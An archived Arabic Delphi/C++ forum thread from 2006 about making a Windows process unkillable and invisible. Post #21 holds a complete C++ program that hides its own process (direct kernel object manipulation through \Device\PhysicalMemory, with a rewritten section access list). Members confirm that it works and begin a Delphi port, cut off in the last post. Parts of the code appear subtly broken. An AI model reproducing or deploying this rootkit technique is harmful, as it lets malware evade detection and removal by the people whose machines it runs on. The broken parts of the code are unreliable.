الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

إنهاء تطبيق ولا إمكانيه لإنهاء تطبيق

مغلق
بدأه xc-delphi-cx في 3 أغسطس 2006 · 25 رد · 2,520 مشاهدة · في لغة Delphi
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

هل عمل hook لـ NtTerminateProcess راح يكفي لحماية تطبيق ما من إغلاقه بحيث يكون الرد على العمليه

ERROR_ACCESS_DENIED

أو يجب التعامل مع أكثر من داله لعمل هذا الشي ؟

#2

غير كافي...هناك طرق اخرى لانهاء تطبيق...

d4baa0.gif
#3

محمد أقصد إنهائه من Task Manager فقط

#4

أعتقد أني رأيت كود لأخفاء البرنامج من التاسك مانجر.

وهماك كود آخر لإلغاء التاسك مانجر.

والله ولي التوفيق.

أخوك أبوالنور.

********************************************************************************

آخر وصايا سيدنا محمد صلى الله عليه وسلم:الصلاة الصلاة وما ملكت أيمانكم

66850879_b6e633000d_m.jpg

هاجر اللذائذ وانبـرى ليثـاً بادغـال الشـرا

بـاع الحيـاة رخيـصـة لله والله اشـتـرى

خذو مني فؤادي وامنحوني سلاحي أمتطي صهو المنون

فإني لم أعش لأذوق ذلاً ولا لأذوب في حضن حنون

موقع الفريق الاسلامي المتحد للبرمجة والإلكترونيات

إيميلي هو:Aboalnoor@maktoob.com

ياهو :adnanalabuo@yahoo.com

هوت ميل:AdnanAlabuo@hotmail.com

مدونتي الخاصة

#5

شكرا على التعقيب أبوالنور

أنا لاأقصد إخفاء تطبيق فمهما أخفيته راح يظل process id موجود ويمكن إنهاء التطبيق

#6
xc-delphi-cx كتب:
أنا لاأقصد إخفاء تطبيق فمهما أخفيته راح يظل process id موجود ويمكن إنهاء التطبيق

جرب المرفق...هل يظهر PID ؟

Project1.rar

d4baa0.gif
#7

عندي برنامج يعمل hook لـ ZwQuerySystemInformation

في Task Manager نعم يكون البرنامج مختفي تمام

لكن في برنامج مثل a2hijackfree راح يكون ظاهر ومعروف PID

لكن مثل البرنامج اللى أرفقته محمد مارئت عيني أبدااا :rolleyes:

حقيقي لا في Task Manager ولا في a2hijackfree ولا حتى ProcessExplorerNt يظهر شي

أتخيل البرنامج ينهي نفسه وتظل النافذه موجوده :lol:

هل البرنامج يعمل نفس الشي !! hook لـ ZwQuerySystemInformation

#8

فعلا شي جميل :)

لكن ماذا يفعل الزر اليميني واليساري تماما

كاني لاحظت ان اليميني يغلق البرنامج لكن يعود ليعمل من جديد 3 مرات!!!

على كل والله شي جميل :D

بدي اطلب الكود بس خجلان :(

يا سيدي على راحتك

بركي بالمستقبل منصير مثلك :D

#9

أتوقع السيناريو كذا :)

الزر الأيسر:

inject dll 2 Processes

وداخل ملف الربط hook لـ Ntdll

الدوال بالتحديد ماأعلم

الزر الأيمن: uninject

لكن الزر الأيمن مايعمل على فكره

البرنامج يختفي تماما ولا يمكن إرجاعه بهذا الزر

#10
اقتباس
جرب المرفق...هل يظهر PID ؟

يحتاج لبعض التعديلات .. تم إصطياده ومعرفة الـ PID &TID وبالامكان استعمال TerminateProcess للقضاء عليها رغم أن Process explorer يقول انها

اقتباس
<Non-existent Process>

لاحظ الصورة

delta1.JPG

اقتباس
كاني لاحظت ان اليميني يغلق البرنامج لكن يعود ليعمل من جديد 3 مرات!!!

هو فقط يقوم باستدعاء ShowWindow ..

إن وجدت وقت سأقوم بتحليل البرنامج ولكن أظن البرنامج مضغوط ؟

"First they ignore you, then they laugh at you, then they attack you, then you win"

===

اقتباس

حُكَّامُـنَا إِنْ تَصَـدّوا لِلْحِمَــى اقْتَحَمُـوا ***** وَإِنْ تَصَدَّى لَـهُ المُسْتَعْمِـرُ انْسَحَبُـوا

هُمْ يَفْرشـُونَ لِجَيْـشِ الغَــزْوِ أَعْيُنَـهُـمْ ***** وَيَدَّعُــونَ وُثُـوبَـاً قَـبْـلَ أَنْ يَثِـبُــوا

الحَاكِمُـونَ و«وَاشُنْـطُـنْ» حُكُومَتُـهُـمْ ***** وَاللامِعُــونَ وَمَـا شَعَّـوا وَلا غَرَبُــوا

القَاتِلُـــونَ نُبُــوغَ الشَّـعْــبِ تَرْضِـيَـــةً ***** لِلْمُعْتَدِيــنَ وَمَـا أَجْـدَتْـهُـمُ الـقُــرَبُ

لَهُمْ شُمُـوخُ «المُثَنَّـى» ظَاهِـرَاً وَلَهُـمْ ***** هَـوَىً إِلَـى بَابَـك الخَرْمِـيّ يُنْتَسَـبُ

البردوني "أبو تمام وعروبة اليوم" 1971

===

اقتباس
عبيد الهوى يحكمون البـلاد ***** ويحكمهــم كلّهـــم درهــــــم

و تقتـادهـم شهـوة لا تنــام ***** وهـــم فـي جـهالتهــم نــــوّم

ففــي كـــلّ ناحيــة ظـالـــم ***** غبــــــيّ يسـلـّطــــه أظلـــم

أيا من شبعتم على جوعــنا ***** وجـــوع بنينـا ألـم تتخمـــوا ؟

ألم تفهموا غضبة الكادحين ***** على الظلـم ؟ لا بدّ أن تفهموا

البردوني "نحن و الحاكمون "

#11

tmaaa زين دخلت الموضوع راح نوصل لنتيجه :)

لا الملف مو مضغوط Borland Delphi 6.0

السر كله موجود في الوحده HideProcess

بس مااعرف ليش موجود WinInet UrlMon :)

محمد لازم ترد على الموضوع

#12

حين أجد الوقت سأحاول تحليله إن إستطعت ذلك ..

حالياً مشغول بالعمل وفي وقت الفراغ بتحليل Babylon 6.0 .. عملوها ودعموا اللغة العربية . لكن في بضع مشاكل في IE . طبعاً في PDF لم يتم دعمها..

"First they ignore you, then they laugh at you, then they attack you, then you win"

===

اقتباس

حُكَّامُـنَا إِنْ تَصَـدّوا لِلْحِمَــى اقْتَحَمُـوا ***** وَإِنْ تَصَدَّى لَـهُ المُسْتَعْمِـرُ انْسَحَبُـوا

هُمْ يَفْرشـُونَ لِجَيْـشِ الغَــزْوِ أَعْيُنَـهُـمْ ***** وَيَدَّعُــونَ وُثُـوبَـاً قَـبْـلَ أَنْ يَثِـبُــوا

الحَاكِمُـونَ و«وَاشُنْـطُـنْ» حُكُومَتُـهُـمْ ***** وَاللامِعُــونَ وَمَـا شَعَّـوا وَلا غَرَبُــوا

القَاتِلُـــونَ نُبُــوغَ الشَّـعْــبِ تَرْضِـيَـــةً ***** لِلْمُعْتَدِيــنَ وَمَـا أَجْـدَتْـهُـمُ الـقُــرَبُ

لَهُمْ شُمُـوخُ «المُثَنَّـى» ظَاهِـرَاً وَلَهُـمْ ***** هَـوَىً إِلَـى بَابَـك الخَرْمِـيّ يُنْتَسَـبُ

البردوني "أبو تمام وعروبة اليوم" 1971

===

اقتباس
عبيد الهوى يحكمون البـلاد ***** ويحكمهــم كلّهـــم درهــــــم

و تقتـادهـم شهـوة لا تنــام ***** وهـــم فـي جـهالتهــم نــــوّم

ففــي كـــلّ ناحيــة ظـالـــم ***** غبــــــيّ يسـلـّطــــه أظلـــم

أيا من شبعتم على جوعــنا ***** وجـــوع بنينـا ألـم تتخمـــوا ؟

ألم تفهموا غضبة الكادحين ***** على الظلـم ؟ لا بدّ أن تفهموا

البردوني "نحن و الحاكمون "

#13

يبدو أن الطريقة المستخدمة هي ما تسمى بـ SSDT ?

بصراحة عندما استعملت IDA وبعد عمل عدة breakpoint ما شد انتباهي استدعاء MapViewOfFile وعند محاولة التتبع لمعرفة ما هو الـ hFileMappingObject الممرر لها .في العادة ذلك الـ handle نحصل عليه من CreateFileMapping and OpenFileMapping لكن لن نجد أي استدعاء و بعد الاستمرار بالتتبع شد إنتباهي الحصول على ZwOpenSection عن طريق GetProcAddress (أيضا حصلنا على RtlInitUnicodeString)

هنا توقفت قليلاً وقلت ابحث في google ربما أجد معلومات وفعلاً قرأت مقال في صفحة صينية بعنوان "Defeating Native API Hooker "

وفيه تم شرح طريقة لإخفاء الـ process عن طريق التحكم بـ "\device\physicalmemory" والكتابة اليها وفيها تم استخدام ZwOpenSection

لا أعلم ان كان هذا البرنامج يعتمد على هذه الطريقة سأحاول التعمق أكثر لاحقاً

على العموم هذا مقال فيه كود قد يفيد مؤقتاً أثناء disassembling . عذراً الموقع صيني وليس لدي الوقت للبحث عن موقع انجليزي (اعتقد انها تكون موجودة في مواقع أخرى)..

https://www.xfocus.net/bbs/index.php?act=SE...15&p=178717

تم تعديل هذه المشاركة بواسطة cipher في 9 أغسطس 2006 في 10:32

"First they ignore you, then they laugh at you, then they attack you, then you win"

===

اقتباس

حُكَّامُـنَا إِنْ تَصَـدّوا لِلْحِمَــى اقْتَحَمُـوا ***** وَإِنْ تَصَدَّى لَـهُ المُسْتَعْمِـرُ انْسَحَبُـوا

هُمْ يَفْرشـُونَ لِجَيْـشِ الغَــزْوِ أَعْيُنَـهُـمْ ***** وَيَدَّعُــونَ وُثُـوبَـاً قَـبْـلَ أَنْ يَثِـبُــوا

الحَاكِمُـونَ و«وَاشُنْـطُـنْ» حُكُومَتُـهُـمْ ***** وَاللامِعُــونَ وَمَـا شَعَّـوا وَلا غَرَبُــوا

القَاتِلُـــونَ نُبُــوغَ الشَّـعْــبِ تَرْضِـيَـــةً ***** لِلْمُعْتَدِيــنَ وَمَـا أَجْـدَتْـهُـمُ الـقُــرَبُ

لَهُمْ شُمُـوخُ «المُثَنَّـى» ظَاهِـرَاً وَلَهُـمْ ***** هَـوَىً إِلَـى بَابَـك الخَرْمِـيّ يُنْتَسَـبُ

البردوني "أبو تمام وعروبة اليوم" 1971

===

اقتباس
عبيد الهوى يحكمون البـلاد ***** ويحكمهــم كلّهـــم درهــــــم

و تقتـادهـم شهـوة لا تنــام ***** وهـــم فـي جـهالتهــم نــــوّم

ففــي كـــلّ ناحيــة ظـالـــم ***** غبــــــيّ يسـلـّطــــه أظلـــم

أيا من شبعتم على جوعــنا ***** وجـــوع بنينـا ألـم تتخمـــوا ؟

ألم تفهموا غضبة الكادحين ***** على الظلـم ؟ لا بدّ أن تفهموا

البردوني "نحن و الحاكمون "

#14

back

تم إكتشاف البرنامج عن طريق IceSWord كما في الصورة

post-62922-1155109707_thumb.jpg

"First they ignore you, then they laugh at you, then they attack you, then you win"

===

اقتباس

حُكَّامُـنَا إِنْ تَصَـدّوا لِلْحِمَــى اقْتَحَمُـوا ***** وَإِنْ تَصَدَّى لَـهُ المُسْتَعْمِـرُ انْسَحَبُـوا

هُمْ يَفْرشـُونَ لِجَيْـشِ الغَــزْوِ أَعْيُنَـهُـمْ ***** وَيَدَّعُــونَ وُثُـوبَـاً قَـبْـلَ أَنْ يَثِـبُــوا

الحَاكِمُـونَ و«وَاشُنْـطُـنْ» حُكُومَتُـهُـمْ ***** وَاللامِعُــونَ وَمَـا شَعَّـوا وَلا غَرَبُــوا

القَاتِلُـــونَ نُبُــوغَ الشَّـعْــبِ تَرْضِـيَـــةً ***** لِلْمُعْتَدِيــنَ وَمَـا أَجْـدَتْـهُـمُ الـقُــرَبُ

لَهُمْ شُمُـوخُ «المُثَنَّـى» ظَاهِـرَاً وَلَهُـمْ ***** هَـوَىً إِلَـى بَابَـك الخَرْمِـيّ يُنْتَسَـبُ

البردوني "أبو تمام وعروبة اليوم" 1971

===

اقتباس
عبيد الهوى يحكمون البـلاد ***** ويحكمهــم كلّهـــم درهــــــم

و تقتـادهـم شهـوة لا تنــام ***** وهـــم فـي جـهالتهــم نــــوّم

ففــي كـــلّ ناحيــة ظـالـــم ***** غبــــــيّ يسـلـّطــــه أظلـــم

أيا من شبعتم على جوعــنا ***** وجـــوع بنينـا ألـم تتخمـــوا ؟

ألم تفهموا غضبة الكادحين ***** على الظلـم ؟ لا بدّ أن تفهموا

البردوني "نحن و الحاكمون "

#15

السلام عليكم

لا يوجد اي Hook في المثال المرفق

الطريقة المستعملة في الإخفاء هي كما قال الأخ Cipher...

cipher كتب:
back

تم إكتشاف البرنامج عن طريق IceSWord كما في الصورة

IceSword ليس الوحيد...مثلا gmer ايضا يكتشفه على انه RootKit

d4baa0.gif
#16

ممكن اذا احد يعرف رابط فيه معلومات تتحدث عن الطريقه هذي بالتحديد ويكون خاص بالدلفي

ياليت

#17
اقتباس
IceSword ليس الوحيد...مثلا gmer ايضا يكتشفه على انه RootKit

في البداية أنا وجدته عن طريق Process explorer .. :)

اقتباس
ممكن اذا احد يعرف رابط فيه معلومات تتحدث عن الطريقه هذي بالتحديد ويكون خاص بالدلفي

جرب الكود في الصفحة التي أشرت إليها هو بالسي إن اشتغل معاك قل لي وساحاول تحويله الى دلفي

المشكلة ليس لدي الوقت لتجربته وتحويله حالياً

"First they ignore you, then they laugh at you, then they attack you, then you win"

===

اقتباس

حُكَّامُـنَا إِنْ تَصَـدّوا لِلْحِمَــى اقْتَحَمُـوا ***** وَإِنْ تَصَدَّى لَـهُ المُسْتَعْمِـرُ انْسَحَبُـوا

هُمْ يَفْرشـُونَ لِجَيْـشِ الغَــزْوِ أَعْيُنَـهُـمْ ***** وَيَدَّعُــونَ وُثُـوبَـاً قَـبْـلَ أَنْ يَثِـبُــوا

الحَاكِمُـونَ و«وَاشُنْـطُـنْ» حُكُومَتُـهُـمْ ***** وَاللامِعُــونَ وَمَـا شَعَّـوا وَلا غَرَبُــوا

القَاتِلُـــونَ نُبُــوغَ الشَّـعْــبِ تَرْضِـيَـــةً ***** لِلْمُعْتَدِيــنَ وَمَـا أَجْـدَتْـهُـمُ الـقُــرَبُ

لَهُمْ شُمُـوخُ «المُثَنَّـى» ظَاهِـرَاً وَلَهُـمْ ***** هَـوَىً إِلَـى بَابَـك الخَرْمِـيّ يُنْتَسَـبُ

البردوني "أبو تمام وعروبة اليوم" 1971

===

اقتباس
عبيد الهوى يحكمون البـلاد ***** ويحكمهــم كلّهـــم درهــــــم

و تقتـادهـم شهـوة لا تنــام ***** وهـــم فـي جـهالتهــم نــــوّم

ففــي كـــلّ ناحيــة ظـالـــم ***** غبــــــيّ يسـلـّطــــه أظلـــم

أيا من شبعتم على جوعــنا ***** وجـــوع بنينـا ألـم تتخمـــوا ؟

ألم تفهموا غضبة الكادحين ***** على الظلـم ؟ لا بدّ أن تفهموا

البردوني "نحن و الحاكمون "

#18

اوكي راح اجربه cipher

#19

هذا المثال الموجود بالمقال عملته بالـ bcb

مافيه أي خطأ في الكومبايلر

لكن بعد تشغيل البرنامج تظهر لي رسالة الخطأ في النظام :angry: xp sp2

اقتباس
Project2.exe has encountered a problem and needs to close. We are sorry for the inconvenience.

ورسالة الخطأ في نفس البرنامج تظهر بنافذة Console app

printf( "GetProcAddress() failed");

chide.rar

#20

السلام عليكم ورحمة الله وبركاته.

أخي في الله cipher جربت الكود وأعطاني نفس الخطأ.

والله ولي التوفيق.

أخوكم أبو النور.

********************************************************************************

آخر وصايا سيدنا محمد صلى الله عليه وسلم:الصلاة الصلاة وما ملكت أيمانكم

66850879_b6e633000d_m.jpg

هاجر اللذائذ وانبـرى ليثـاً بادغـال الشـرا

بـاع الحيـاة رخيـصـة لله والله اشـتـرى

خذو مني فؤادي وامنحوني سلاحي أمتطي صهو المنون

فإني لم أعش لأذوق ذلاً ولا لأذوب في حضن حنون

موقع الفريق الاسلامي المتحد للبرمجة والإلكترونيات

إيميلي هو:Aboalnoor@maktoob.com

ياهو :adnanalabuo@yahoo.com

هوت ميل:AdnanAlabuo@hotmail.com

مدونتي الخاصة

#21

الكود الموجود في الموقع يعمل بشكل جيد لقد قمت بتجربته

إن المشكلة التي ظهرت لديك بسبب أن define موجودة قبل typedef حيث أن هذه الـ define تستخدم النمط المعرف بتعليمة typedef

لقد قمت بترتيب الكود ليصبح كالتالي

//---------------------------------------------------------------------------
/*-[Windows-NT/2000-Native-API-Reference]-[Gary-Nebbett]-*/
//---------------------------------------------------------------------------
#pragma hdrstop
//---------------------------------------------------------------------------
#pragma package(smart_init)
//---------------------------------------------------------------------------
#include <windows.h>
#include <Aclapi.h>
//---------------------------------------------------------------------------
typedef LONG NTSTATUS;
typedef ULONG ACCESS_MASK;
//---------------------------------------------------------------------------
#define NT_SUCCESS(Status)			 ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH	((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED		   ((NTSTATUS)0xC0000022L)
//---------------------------------------------------------------------------
#define OBJ_INHERIT					0x00000002L
#define OBJ_PERMANENT				  0x00000010L
#define OBJ_EXCLUSIVE				  0x00000020L
#define OBJ_CASE_INSENSITIVE		   0x00000040L
#define OBJ_OPENIF					 0x00000080L
#define OBJ_OPENLINK				   0x00000100L
#define OBJ_KERNEL_HANDLE			  0x00000200L
#define OBJ_VALID_ATTRIBUTES		   0x000003F2L
//---------------------------------------------------------------------------
#define InitializeObjectAttributes(p, n, a, r, s) { (p)->Length = sizeof(OBJECT_ATTRIBUTES); (p)->RootDirectory = r; (p)->Attributes = a; (p)->ObjectName = n; (p)->SecurityDescriptor = s; (p)->SecurityQualityOfService = NULL; }
//---------------------------------------------------------------------------
typedef enum _SYSTEM_INFORMATION_CLASS
{
  SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
//---------------------------------------------------------------------------
typedef struct _IO_STATUS_BLOCK
{
  NTSTATUS Status;
  ULONG	Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
//---------------------------------------------------------------------------
typedef struct _UNICODE_STRING
{
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
//---------------------------------------------------------------------------
typedef struct _SYSTEM_HANDLE_INFORMATION
{
  ULONG	   ProcessId;
  UCHAR	   ObjectTypeNumber;
  UCHAR	   Flags;
  USHORT	  Handle;
  PVOID	   Object;
  ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
//---------------------------------------------------------------------------
typedef struct _OBJECT_ATTRIBUTES
{
  ULONG		   Length;
  HANDLE		  RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG		   Attributes;
  PVOID		   SecurityDescriptor;
  PVOID		   SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
//---------------------------------------------------------------------------
typedef NTSTATUS (CALLBACK* ZWOPENSECTION) (OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes);
typedef VOID	 (CALLBACK* RTLINITUNICODESTRING) (IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString);
typedef ULONG	(__stdcall *RTLNTSTATUSTODOSERROR) (IN NTSTATUS Status);
typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION) (IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL);
//---------------------------------------------------------------------------
static RTLNTSTATUSTODOSERROR	RtlNtStatusToDosError	= NULL;
static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
static HMODULE				  hModule				  = NULL;
//---------------------------------------------------------------------------
static DWORD GetEprocessFromPid(ULONG PID);
static BOOL LocateNtdllEntry(void);
//---------------------------------------------------------------------------
BOOL HideProcessAtAll();
//---------------------------------------------------------------------------
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION		ZwOpenSection;
HMODULE			  g_hNtDLL			 = NULL;
PVOID				g_pMapPhysicalMemory = NULL;
HANDLE			   g_hMPM			   = NULL;
//---------------------------------------------------------------------------
static DWORD GetEprocessFromPid(ULONG PID)
{
  NTSTATUS				   status;
  PVOID					  buf;
  ULONG					  size;
  ULONG					  NumOfHandle;
  ULONG					  i;
  PSYSTEM_HANDLE_INFORMATION h_info;

  for ( size = 1;; size *= 2 )
  {
	buf = calloc(size, 1);
	if ( !buf )
	{
	  fprintf(stderr, "calloc( %u, 1 ) failed\n", size);
	  goto GetEprocessFromPid_exit;
	}
	status = ZwQuerySystemInformation(SystemHandleInformation, buf, size, NULL);
	if ( !NT_SUCCESS(status) )
	{
	  if ( STATUS_INFO_LENGTH_MISMATCH == status )
	  {
		free(buf);
	  }
	  else
	  {
		printf("ZwQuerySystemInformation() failed");
		goto GetEprocessFromPid_exit;
	  }
	}
	else
	{
	  break;
	}
  }

  NumOfHandle = (ULONG) buf;

  h_info = (PSYSTEM_HANDLE_INFORMATION) ((ULONG) buf + 4);

  for( i = 0; i < NumOfHandle; i++ )
  {
	//if( (h_info.ProcessId == PID) && (h_info.ObjectTypeNumber == 5) && (h_info.Handle == 0x3d8) )
	if( (h_info.ProcessId == PID) && (h_info.ObjectTypeNumber == 5) )
	{
	  printf("Handle:0x%x,OBJECT 0x%x\n\r", h_info.Handle,h_info.Object);
	  return (DWORD) h_info.Object;
	}
  }

GetEprocessFromPid_exit:

  if ( buf != NULL )
  {
	free(buf);
  }
  return FALSE;
}
//---------------------------------------------------------------------------
static BOOL LocateNtdllEntry(void)
{
  BOOL	ret		 = FALSE;
  char	NTDLL_DLL[] = "ntdll.dll";
  HMODULE ntdll_dll;

  ntdll_dll = GetModuleHandle(NTDLL_DLL);
  if ( !ntdll_dll )
  {
	printf("GetModuleHandle() failed");
	return FALSE;
  }

  ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) GetProcAddress(ntdll_dll, "ZwQuerySystemInformation");
  if ( !ZwQuerySystemInformation )
  {
	goto LocateNtdllEntry_exit;
  }

  ret = TRUE;

LocateNtdllEntry_exit:

  if ( !ret )
  {
	printf("GetProcAddress() failed");
  }

  return ret;
}
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
  g_hNtDLL = LoadLibrary("ntdll.dll");
  if ( !g_hNtDLL )
  {
	return FALSE;
  }

  RtlInitUnicodeString = (RTLINITUNICODESTRING) GetProcAddress(g_hNtDLL, "RtlInitUnicodeString");

  ZwOpenSection = (ZWOPENSECTION) GetProcAddress(g_hNtDLL, "ZwOpenSection");

  return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
  if ( g_hNtDLL )
  {
	FreeLibrary(g_hNtDLL);
  }
}
//---------------------------------------------------------------------------
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
  PACL				 pDacl	= NULL;
  PACL				 pNewDacl = NULL;
  PSECURITY_DESCRIPTOR pSD	  = NULL;
  DWORD				dwRes;
  EXPLICIT_ACCESS	  ea;

  dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pDacl, NULL, &pSD);
  if ( dwRes != ERROR_SUCCESS )
  {
	goto CleanUp;
  }

  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions = SECTION_MAP_WRITE;
  ea.grfAccessMode		= GRANT_ACCESS;
  ea.grfInheritance	   = NO_INHERITANCE;
  ea.Trustee.TrusteeForm  = TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType  = TRUSTEE_IS_USER;
  ea.Trustee.ptstrName	= "CURRENT_USER";

  dwRes = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);
  if ( dwRes != ERROR_SUCCESS )
  {
	goto CleanUp;
  }

  dwRes = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL);
  if ( dwRes != ERROR_SUCCESS )
  {
	goto CleanUp;
  }

CleanUp:

  if ( pSD )
  {
	LocalFree(pSD);
  }

  if ( pNewDacl )
  {
	LocalFree(pNewDacl);
  }
}
//---------------------------------------------------------------------------
HANDLE OpenPhysicalMemory()
{
  NTSTATUS		  status;
  UNICODE_STRING	physmemString;
  OBJECT_ATTRIBUTES attributes;

  RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");

  attributes.Length				   = sizeof(OBJECT_ATTRIBUTES);
  attributes.RootDirectory			= NULL;
  attributes.ObjectName			   = &physmemString;
  attributes.Attributes			   = 0;
  attributes.SecurityDescriptor	   = NULL;
  attributes.SecurityQualityOfService = NULL;

  status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ | SECTION_MAP_WRITE, &attributes);

  if ( status == STATUS_ACCESS_DENIED )
  {
	//status = ZwOpenSection(&g_hMPM, READ_CONTROL | WRITE_DAC, &attributes);
	ZwOpenSection(&g_hMPM, READ_CONTROL | WRITE_DAC, &attributes);
	SetPhyscialMemorySectionCanBeWrited(g_hMPM);
	CloseHandle(g_hMPM);
	status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ | SECTION_MAP_WRITE, &attributes);
  }

  if ( !NT_SUCCESS(status) )
  {
	return NULL;
  }

  g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, 0x30000, 0x1000);

  if ( !g_pMapPhysicalMemory )
  {
	return NULL;
  }

  return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
{
  ULONG VAddr = (ULONG) addr;
  ULONG PGDE;
  ULONG PTE;
  ULONG PAddr;

  if ( (VAddr >= 0x80000000) && (VAddr < 0xa0000000) )
  {
	PAddr = VAddr - 0x80000000;
	return (PVOID) PAddr;
  }

  PGDE = BaseAddress[VAddr >> 22];

  if ( (PGDE & 1) != 0 )
  {
	ULONG tmp = PGDE & 0x00000080;
	if ( tmp != 0 )
	{
	  PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
	}
	else
	{
	  PGDE = (ULONG) MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
	  PTE  = ((PULONG) PGDE)[(VAddr & 0x003FF000) >> 12];
	  if ( (PTE & 1) != 0 )
	  {
		PAddr = (PTE & 0xFFFFF000) + (VAddr & 0x00000FFF);
		UnmapViewOfFile((PVOID) PGDE);
	  }
	  else
	  {
		return 0;
	  }
	}
  }
  else
  {
	return 0;
  }

  return (PVOID) PAddr;
}
//---------------------------------------------------------------------------
ULONG GetData(PVOID addr)
{
  ULONG  phys = (ULONG)  LinearToPhys((PULONG) g_pMapPhysicalMemory, (PVOID) addr);
  PULONG tmp  = (PULONG) MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
  if ( !tmp )
  {
	return 0;
  }
  ULONG ret = tmp[(phys & 0xFFF) >> 2];
  UnmapViewOfFile(tmp);
  return ret;
}
//---------------------------------------------------------------------------
BOOL SetData(PVOID addr, ULONG data)
{
  ULONG  phys = (ULONG)  LinearToPhys((PULONG) g_pMapPhysicalMemory, (PVOID) addr);
  PULONG tmp  = (PULONG) MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
  if ( !tmp )
  {
	return FALSE;
  }
  tmp[(phys & 0xFFF) >> 2] = data;
  UnmapViewOfFile(tmp);
  return TRUE;
}
//---------------------------------------------------------------------------
BOOL HideProcessAtAll()
{
  if ( InitNTDLL() )
  {
	if ( OpenPhysicalMemory() == 0 )
	{
	  return FALSE;
	}

	OSVERSIONINFO osvi;
	osvi.dwOSVersionInfoSize = sizeof(osvi);
	GetVersionEx(&osvi);

	int f;
	int b;

	if ( osvi.dwMajorVersion == 5 )
	{
	  if ( osvi.dwMinorVersion == 0 ) //win2k...
	  {
		f = 0xa0;
		b = 0xa4;
	  }
	  else if ( osvi.dwMinorVersion == 1 ) //winxp...
	  {
		f = 0x88;
		b = 0x8c;
	  }
	  else if ( osvi.dwMinorVersion == 2 ) //win2003...
	  {
		f = 0x8a;
		b = 0x8e;
	  }
	  else
	  {
		return FALSE;
	  }
	}
	else if ( (osvi.dwMajorVersion == 4) && (osvi.dwMinorVersion == 0) && (osvi.dwPlatformId == 2) ) //NT...
	{
	  f = 0x98;
	  b = 0x9c;
	}
	else
	{
	  return FALSE;
	}

	//ULONG thread  = GetData((PVOID) 0xFFDFF124);
	//ULONG process = GetData((PVOID)(thread + 0x22c));

	LocateNtdllEntry();

	//??????, ?????handle???????, PROCESS ?? ObjectTypeNum ?5...

	OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
	ULONG process = (ULONG) GetEprocessFromPid((DWORD) GetCurrentProcessId());
	ULONG fw = GetData(PVOID (process + f));
	ULONG bw = GetData(PVOID (process + b));
	SetData(PVOID (fw + 4), bw);
	SetData(PVOID (bw), fw);

	UnmapViewOfFile(g_pMapPhysicalMemory);
	CloseHandle(g_hMPM);
	CloseNTDLL();
  }
  return TRUE;
}
//---------------------------------------------------------------------------
int main(int argc, char* argv[])
{
  HideProcessAtAll();
  Sleep(30*1000);
  printf("Hello World!\n");
  return 0;
}
//---------------------------------------------------------------------------
#22

جاري التجريب.

********************************************************************************

آخر وصايا سيدنا محمد صلى الله عليه وسلم:الصلاة الصلاة وما ملكت أيمانكم

66850879_b6e633000d_m.jpg

هاجر اللذائذ وانبـرى ليثـاً بادغـال الشـرا

بـاع الحيـاة رخيـصـة لله والله اشـتـرى

خذو مني فؤادي وامنحوني سلاحي أمتطي صهو المنون

فإني لم أعش لأذوق ذلاً ولا لأذوب في حضن حنون

موقع الفريق الاسلامي المتحد للبرمجة والإلكترونيات

إيميلي هو:Aboalnoor@maktoob.com

ياهو :adnanalabuo@yahoo.com

هوت ميل:AdnanAlabuo@hotmail.com

مدونتي الخاصة

#23

مافي لزوم للتجربه

:) البرنامج الآن 100% يعمل

ألف شكررر fh_feras

لسى باقي دلفنة الكووود :)

#24

التحويل من ++c الى الدلفي فيه متعه :)

بتكتشف أشياء جديده بالدلفي ماتعرفها

#25

عذراً للتأخر ولكن الفترة الماضية انشغلت بـ Adobe SDK ومن ثم بالعمل وما زلت مشغولاً ...

جرب هذا الكود :

يرجى التأكد من الكود فربما يحتاج لتحسينات في بعض الأماكن ...

unit hideprcall;

interface

function MyHideProcessFun: Boolean;

implementation

uses
